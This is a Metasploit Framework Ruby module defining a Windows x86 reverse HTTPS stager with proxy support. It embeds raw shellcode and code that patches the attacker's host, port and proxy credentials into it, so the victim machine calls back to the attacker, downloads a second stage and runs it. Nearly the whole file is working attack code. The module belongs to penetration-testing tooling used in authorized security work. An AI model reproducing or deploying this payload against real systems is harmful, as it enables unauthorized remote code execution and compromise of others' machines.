##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'
require 'msf/core/handler/reverse_https_proxy'


module Metasploit3

  include Msf::Payload::Stager
  include Msf::Payload::Windows

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Reverse HTTPS Stager with Support for Custom Proxy',
      'Description'   => 'Tunnel communication over HTTP using SSL with custom proxy support',
      'Author'        => ['hdm','corelanc0d3r <peter.ve[at]corelan.be>', 'amaloteaux'],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::ReverseHttpsProxy,
      'Convention'    => 'sockedi https',
      'Stager'        =>
        {
          'Payload' =>
            "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
            "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
            "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
            "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
            "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
            "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
            "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
            "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
            "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
            "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" +
            "\xFF\xD5\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58\x59\x48\x4F\x53\x54" +
            "\x3A\x50\x4F\x52\x54\x00\x59\x31\xFF\x57\x54\x51\x6A\x03\x6A\x00" +
            "\x68\x3A\x56\x79\xA7\xFF\xD5\xE9\xC4\x00\x00\x00\x5B\x31\xC9\x51" +
            "\x51\x6A\x03\x51\x51\x68\x5C\x11\x00\x00\x53\x50\x68\x57\x89\x9F" +
            "\xC6\xFF\xD5\x89\xC6\x50\x52\x4F\x58\x59\x5F\x41\x55\x54\x48\x5F" +
            "\x53\x54\x41\x52\x54\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58\x59\x5F" +
            "\x55\x53\x45\x52\x4E\x41\x4D\x45\x00\x59\x6A\x0F\x51\x6A\x2B\x56" +
            "\x68\x75\x46\x9E\x86\xFF\xD5\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58" +
            "\x59\x5F\x50\x41\x53\x53\x57\x4F\x52\x44\x00\x59\x6A\x0F\x51\x6A" +
            "\x2C\x56\x68\x75\x46\x9E\x86\xFF\xD5\x50\x52\x4F\x58\x59\x5F\x41" +
            "\x55\x54\x48\x5F\x53\x54\x4F\x50\xEB\x48\x59\x31\xD2\x52\x68\x00" +
            "\x32\xA0\x84\x52\x52\x52\x51\x52\x56\x68\xEB\x55\x2E\x3B\xFF\xD5" +
            "\x89\xC6\x6A\x10\x5B\x68\x80\x33\x00\x00\x89\xE0\x6A\x04\x50\x6A" +
            "\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56" +
            "\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xD5" +
            "\xEB\x49\xE8\xB3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0" +
            "\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40" +
            "\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68" +
            "\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74" +
            "\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\xEC\xFE\xFF\xFF"
        }
      ))


  end

  #
  # Do not transmit the stage over the connection.  We handle this via HTTPS
  #
  def stage_over_connection?
    false
  end

  #
  # Generate the first stage
  #
  def generate
    p = super

    i = p.index("/12345\x00")
    u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttpsProxy::URI_CHECKSUM_INITW) + "\x00"
    p[i, u.length] = u

    # patch proxy info
    proxyhost = datastore['PROXYHOST'].to_s
    proxyport = datastore['PROXYPORT'].to_s || "8080"
    proxyinfo = proxyhost + ":" + proxyport
    if proxyport == "80"
      proxyinfo = proxyhost
    end
    if datastore['PROXY_TYPE'].to_s == 'HTTP'
      proxyinfo = 'http://' + proxyinfo
    else #socks
      proxyinfo = 'socks=' + proxyinfo
    end
    proxyloc = p.index("PROXYHOST:PORT")
    p = p.gsub("PROXYHOST:PORT",proxyinfo)

    # patch the call
    calloffset = proxyinfo.length
    calloffset += 1
    p[proxyloc-4] = [calloffset].pack('V')[0]

    #Optional authentification
    if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
      (datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
      datastore['PROXY_TYPE'] == 'SOCKS'

      jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START")
      #remove auth code
      p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "")
    else
      username_size_diff = 14 - datastore['PROXY_USERNAME'].length
      password_size_diff = 14 - datastore['PROXY_PASSWORD'].length
      jmp_offset = 16 + #PROXY_AUTH_START length
          15 + #PROXY_AUTH_STOP length
          username_size_diff + # difference between datastore PROXY_USERNAME length  and db "PROXY_USERNAME length"
          password_size_diff   # same with PROXY_PASSWORD
      #patch call offset
      username_loc = p.index("PROXY_USERNAME")
      p[username_loc - 4, 4] = [15 - username_size_diff].pack("V")
      password_loc = p.index("PROXY_PASSWORD")
      p[password_loc - 4, 4] = [15 - password_size_diff].pack("V")
      #remove markers & change login/pwd
      p = p.gsub("PROXY_AUTH_START","")
      p = p.gsub("PROXY_AUTH_STOP","")
      p = p.gsub("PROXY_USERNAME", datastore['PROXY_USERNAME'])
      p = p.gsub("PROXY_PASSWORD", datastore['PROXY_PASSWORD'])
    end
    #patch jmp dbl_get_server_host
    jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A        ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
    p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V")
    #patch call Internetopen
    p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V")

    # patch the LPORT
    lport = datastore['LPORT']

    lportloc = p.index("\x68\x5c\x11\x00\x00")  # PUSH DWORD 4444
    p[lportloc+1] = [lport.to_i].pack('V')[0]
    p[lportloc+2] = [lport.to_i].pack('V')[1]
    p[lportloc+3] = [lport.to_i].pack('V')[2]
    p[lportloc+4] = [lport.to_i].pack('V')[3]

    # append LHOST and return payload

    lhost = datastore['LHOST']
    p + lhost.to_s + "\x00"

  end

  #
  # Always wait at least 20 seconds for this payload (due to staging delays)
  #
  def wfs_delay
    20
  end

end

